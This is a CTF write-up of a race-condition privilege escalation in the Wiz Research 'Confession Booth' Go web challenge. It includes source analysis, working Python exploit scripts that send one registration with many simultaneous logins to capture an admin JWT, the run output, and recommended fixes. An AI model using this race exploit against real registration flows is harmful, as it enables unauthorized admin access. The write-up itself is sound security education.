Loading...

Confession Booth CTF: Race Condition Privilege Escalation - Complete Technical Writeup

Challenge: Confession Booth

Author: Ronen Shustin

Platform: Wiz Research CTF

Category: Web Security / Race Condition

Challenge Description

Someone set up a Hacker Confession Booth claiming it's a safe space to spill secrets.

Word on the street is that it's a trap - the admin is manually filtering confessions.

Time to expose the truth.

HINT: If you didn't become an admin yet, you didn't try enough times

"This challenge demonstrates how even a subtle bug can become a critical security vulnerability."

Phase 1: Source Code Analysis

Project Overview

The application is a Go-based web application using:

Component Technology
Framework Echo v4
Database PostgreSQL
Authentication JWT (HS512) with bcrypt password hashing
Template Engine Go's html/template

Key Files Analyzed

1. Database Schema (database/database.go)

createTableSQL := `
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    username TEXT UNIQUE NOT NULL,
    password_hash TEXT NOT NULL,
    profile_picture_url TEXT,
    permission_level INT,  // <-- NO DEFAULT VALUE!
    bio TEXT
);

CREATE TABLE confessions (
    id SERIAL PRIMARY KEY,
    user_id INT REFERENCES users(id) ON DELETE CASCADE,
    content TEXT NOT NULL,
    show INT DEFAULT 0,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
`

Key observation: The permission_level column has no DEFAULT value, meaning new rows have NULL for this field until explicitly set.

2. Permission Constants (config/constants.go)

package config

const (
    PermissionAdmin = 0  // <-- Admin is 0!
    PermissionUser  = 1
)

const AUTO_ADMIN_USER = false

Key observation: Admin permission is 0, which is the zero-value for Go integers.

3. Registration Handler (handlers/auth_handlers.go)

func RegisterHandler(c echo.Context) error {
    // ... validation ...

    hashedPassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
    if err != nil {
        return c.String(http.StatusInternalServerError, "Failed to hash password")
    }

    // STEP 1: Create user - permission_level is NULL at this point
    userID, err := database.CreateUser(username, string(hashedPassword), profilePicURL)
    if err != nil {
        return c.String(http.StatusInternalServerError, "Username already exists")
    }

    // RACE WINDOW EXISTS HERE!

    targetPerms := config.PermissionUser
    if config.AUTO_ADMIN_USER {
        targetPerms = config.PermissionAdmin
    }

    // STEP 2: Set permissions to User (1)
    if err := database.UpdateUserPermissions(userID, targetPerms); err != nil {
        return c.String(http.StatusInternalServerError, "Failed to set user permissions")
    }

    return c.Redirect(http.StatusSeeOther, "/auth/login")
}

Critical finding: User creation and permission assignment are TWO SEPARATE, NON-ATOMIC operations.

4. Login Handler (handlers/auth_handlers.go)

func LoginHandler(c echo.Context) error {
    // ...

    var userID int
    var dbHashedPassword string
    var userPerms int  // <-- Regular int, not sql.NullInt64

    selectStmt := `SELECT id, password_hash, permission_level FROM users WHERE username = $1`
    err := database.DB.QueryRow(selectStmt, username).Scan(&userID, &dbHashedPassword, &userPerms)

    if err == sql.ErrNoRows {
        return c.String(http.StatusUnauthorized, "Invalid credentials")
    }

    if err := bcrypt.CompareHashAndPassword([]byte(dbHashedPassword), []byte(password)); err != nil {
        return c.String(http.StatusUnauthorized, "Invalid credentials")
    }

    // JWT created with whatever userPerms was scanned
    token, err := auth.CreateJWT(userID, userPerms)
    // ...
}

Critical finding: When permission_level is NULL in the database, scanning into a Go int results in 0 (the zero-value), which equals PermissionAdmin.

5. Admin Middleware (auth/auth.go)

func AdminMiddleware(next echo.HandlerFunc) echo.HandlerFunc {
    return func(c echo.Context) error {
        perms, ok := c.Get("userPerms").(int)

        if !ok || perms != config.PermissionAdmin {
            // Block access
            return c.Render(http.StatusForbidden, "error.html",
                map[string]interface{}{"Message": "Admin access required"})
        }
        return next(c)
    }
}

6. Flag Endpoint (handlers/admin_handlers.go)

func ApproveConfessionHandler(c echo.Context) error {
    idParam := c.Param("id")

    if idParam == "flag" {
        flag, err := os.ReadFile("/flag.txt")
        if err != nil {
            return c.String(http.StatusInternalServerError, "Flag not found")
        }
        return c.JSON(http.StatusOK, map[string]string{"flag": string(flag)})
    }
    // ... normal approval logic
}

Phase 2: Vulnerability Identification

The Race Condition

Timeline of Registration Request:
─────────────────────────────────────────────────────────────────────
[1] CreateUser() executes
    → User inserted with permission_level = NULL

[2] *** RACE WINDOW ***
    → User exists in DB
    → Password hash is valid
    → permission_level is still NULL

[3] UpdateUserPermissions() executes
    → permission_level set to 1 (User)
─────────────────────────────────────────────────────────────────────

If a login request is processed during the race window (step 2):

  1. User exists → login proceeds
  2. Password validates → authentication succeeds
  3. permission_level is NULL → scans as 0 in Go
  4. 0 == PermissionAdmin → JWT created with admin privileges

Attack Vector

  1. Send registration and login requests concurrently
  2. If login hits the race window, receive admin JWT
  3. Use admin JWT to access /admin/confessions/approve/flag
  4. Retrieve flag

Phase 3: Initial Exploit Attempts (Failures)

Attempt 1: Basic Threading with urllib (Failed)

#!/usr/bin/env python3
"""
Race condition exploit for Confession Booth CTF
Exploits the window between CreateUser and UpdateUserPermissions
"""

import urllib.request
import urllib.parse
import urllib.error
import threading
import time
import random
import string
import json
import ssl

BASE_URL = "https://....confession-booth.challenges.wiz-research.com"

ssl_context = ssl.create_default_context()

def random_username():
    return ''.join(random.choices(string.ascii_lowercase, k=10))

def attempt_exploit(username, password):
    login_result = {'token': None, 'error': None}

    def register():
        try:
            data = urllib.parse.urlencode({
                'username': username,
                'password': password,
                'profile_picture_url': 'https://ui-avatars.com/api/?name=test'
            }).encode()
            req = urllib.request.Request(f"{BASE_URL}/auth/register", data=data, method='POST')
            urllib.request.urlopen(req, timeout=10, context=ssl_context)
        except Exception as e:
            pass

    def login():
        try:
            time.sleep(0.001)  # Tiny delay
            data = urllib.parse.urlencode({
                'username': username,
                'password': password
            }).encode()
            req = urllib.request.Request(f"{BASE_URL}/auth/login", data=data, method='POST')
            resp = urllib.request.urlopen(req, timeout=10, context=ssl_context)
            if resp.status == 200:
                body = json.loads(resp.read().decode())
                login_result['token'] = body.get('token')
        except Exception as e:
            login_result['error'] = str(e)

    t_register = threading.Thread(target=register)
    t_login = threading.Thread(target=login)
    t_register.start()
    t_login.start()
    t_register.join()
    t_login.join()

    return login_result['token']

Result: 100 attempts, all failed with "No token (login failed)"

Problem: Login requests were arriving either before user creation (invalid credentials) or after permission update (normal user token).

Attempt 2: Concurrent Futures with More Parallelism (Failed)

Tried using concurrent.futures.ThreadPoolExecutor with 20 workers and 15 concurrent login attempts per registration.

Result: 200 attempts, all failed with "No tokens"

Problem: Still not achieving true parallelism due to Python's GIL and synchronous HTTP library.

Attempt 3: Bash with Background Curl (Failed)

Tried spawning background curl processes for true parallelism.

Result: 300+ attempts, all failed

Problem: All requests returned "Missing authentication token" — I discovered the CTF platform requires its own authentication cookie.

Phase 4: Discovery - Platform Authentication

When testing basic connectivity:

$ curl -s "https://...confession-booth.challenges.wiz-research.com/healthz"
Missing authentication token

The CTF platform wraps the challenge with its own authentication layer. I extracted the platform token from my browser's cookie storage:

Cookie: token=[PLATFORM_JWT_REDACTED]

With the platform token included:

$ curl -s -b "token=[PLATFORM_JWT]" "https://...confession-booth.challenges.wiz-research.com/healthz"
ok

Now I could proceed with the actual exploit.

Phase 5: Successful Exploit

Environment Setup

python3 -m venv venv
source venv/bin/activate
pip install aiohttp

Final Exploit Code (aiohttp - Async)

#!/usr/bin/env python3
"""
Async race condition exploit for Confession Booth CTF
Uses aiohttp for truly parallel HTTP requests
"""

import asyncio
import aiohttp
import random
import string

BASE_URL = "https://....confession-booth.challenges.wiz-research.com"
PLATFORM_TOKEN = "[YOUR_PLATFORM_JWT_HERE]"

def random_username():
    return ''.join(random.choices(string.ascii_lowercase, k=10))

async def do_register(session, username, password):
    try:
        async with session.post(f"{BASE_URL}/auth/register", data={
            'username': username,
            'password': password,
            'profile_picture_url': 'https://ui-avatars.com/api/?name=test'
        }) as resp:
            return await resp.text()
    except Exception as e:
        return str(e)

async def do_login(session, username, password):
    try:
        async with session.post(f"{BASE_URL}/auth/login", data={
            'username': username,
            'password': password
        }) as resp:
            if resp.status == 200:
                data = await resp.json()
                return data.get('token')
    except:
        pass
    return None

async def check_admin(session, token):
    try:
        cookies = {'token': PLATFORM_TOKEN, 'booth_session': token}
        async with session.get(f"{BASE_URL}/admin", cookies=cookies) as resp:
            return resp.status == 200
    except:
        return False

async def get_flag(session, token):
    try:
        cookies = {'token': PLATFORM_TOKEN, 'booth_session': token}
        async with session.post(f"{BASE_URL}/admin/confessions/approve/flag",
                               cookies=cookies) as resp:
            return await resp.text()
    except Exception as e:
        return str(e)

async def race_attempt(session, username, password, num_logins=30):
    """Fire registration and many login attempts simultaneously."""
    tasks = [do_register(session, username, password)]
    for _ in range(num_logins):
        tasks.append(do_login(session, username, password))

    results = await asyncio.gather(*tasks, return_exceptions=True)

    tokens = []
    for r in results[1:]:
        if isinstance(r, str) and r and len(r) > 50:
            tokens.append(r)
    return tokens

async def main():
    password = "password123"
    max_attempts = 500

    connector = aiohttp.TCPConnector(limit=100, limit_per_host=50)
    cookies = {'token': PLATFORM_TOKEN}
    async with aiohttp.ClientSession(connector=connector, cookies=cookies) as session:
        for i in range(max_attempts):
            username = random_username()
            print(f"[{i+1}] Racing with {username}...", end=" ", flush=True)

            tokens = await race_attempt(session, username, password, num_logins=30)

            if tokens:
                print(f"Got {len(tokens)} token(s)!")
                for token in tokens:
                    if await check_admin(session, token):
                        print(f"\n[!] SUCCESS - Admin access!")
                        print(f"[*] Token: {token[:60]}...")
                        flag = await get_flag(session, token)
                        print(f"[FLAG] {flag}")
                        return
                print("    No admin access (race lost)")
            else:
                print("No tokens")

if __name__ == "__main__":
    asyncio.run(main())

Execution Output

[*] Async race condition exploit
[*] Target: https://....confession-booth.challenges.wiz-research.com
[*] Using aiohttp with platform authentication

[1] Racing with vsasgfhfnf... Got 1 token(s)!
    No admin access (race lost)
[2] Racing with lmdodushgf... Got 1 token(s)!
    No admin access (race lost)
[3] Racing with wpqrhrvnfm... No tokens
[4] Racing with zjcilaaceb... No tokens
[5] Racing with xvlzvenofh... Got 10 token(s)!

[!] SUCCESS - Admin access!
[*] Token: eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.[REDACTED]...

[*] Fetching flag...
[FLAG] {"flag":"WIZ_CTF{REDACTED}"}

Success on attempt #5! Out of 30 concurrent login requests, 10 successfully obtained tokens, and at least one had admin privileges.

Root Cause Analysis

The Vulnerability Chain

  1. Non-Atomic Operation: Two separate database calls with a gap between them
    userID, err := database.CreateUser(...)  // User has NULL permissions
    // ← VULNERABLE WINDOW
    database.UpdateUserPermissions(userID, config.PermissionUser)  // Sets to 1
  2. Unsafe NULL Handling: Scanning NULL into Go int results in zero-value
    var userPerms int  // Should be sql.NullInt64
    // NULL → 0 (Go zero-value)
  3. Dangerous Permission Values: Zero-value equals most privileged
    PermissionAdmin = 0  // Zero-value = most privileged
    PermissionUser  = 1

Recommended Fixes

Fix Implementation
Database Transaction Wrap CreateUser and UpdatePermissions in a single transaction
Schema Default permission_level INT DEFAULT 1 - Default to User, not NULL
Safer Permission Values Use PermissionUser = 0 and PermissionAdmin = 1
Explicit NULL Handling Use sql.NullInt64 and check .Valid before using

Lessons Learned

  1. Atomicity matters: Related database operations should be wrapped in transactions
  2. Zero-values are dangerous: Never use zero/NULL as the most privileged state
  3. Validate assumptions: NULL handling in type conversions can have unexpected results
  4. Race conditions are subtle: The time window was tiny, but exploitable with enough parallelism
  5. Defense in depth: Multiple fixes would have prevented this single vulnerability

Security Implications

  • Registration flows are critical: The window between user creation and permission assignment must be atomic
  • Type safety matters: Go's zero-value behavior combined with SQL NULL can create privilege escalation paths
  • Async exploits are powerful: True parallelism with aiohttp succeeded where threading failed
  • Platform authentication adds complexity: CTF infrastructure can require additional authentication layers

Conclusion

The "Confession Booth" challenge demonstrated how a subtle race condition combined with unsafe NULL handling and unfortunate permission value choices can lead to privilege escalation. The vulnerability existed in a tiny window between two database operations, but was reliably exploitable with proper async tooling.

The hint "If you didn't become an admin yet, you didn't try enough times" was key — the race condition required many concurrent attempts to hit the vulnerable window. Once I switched from synchronous threading to async HTTP with aiohttp, the exploit succeeded within just 5 attempts.

Challenge created by Ronen Shustin as part of the Wiz Research CTF. Writeup completed: January 2026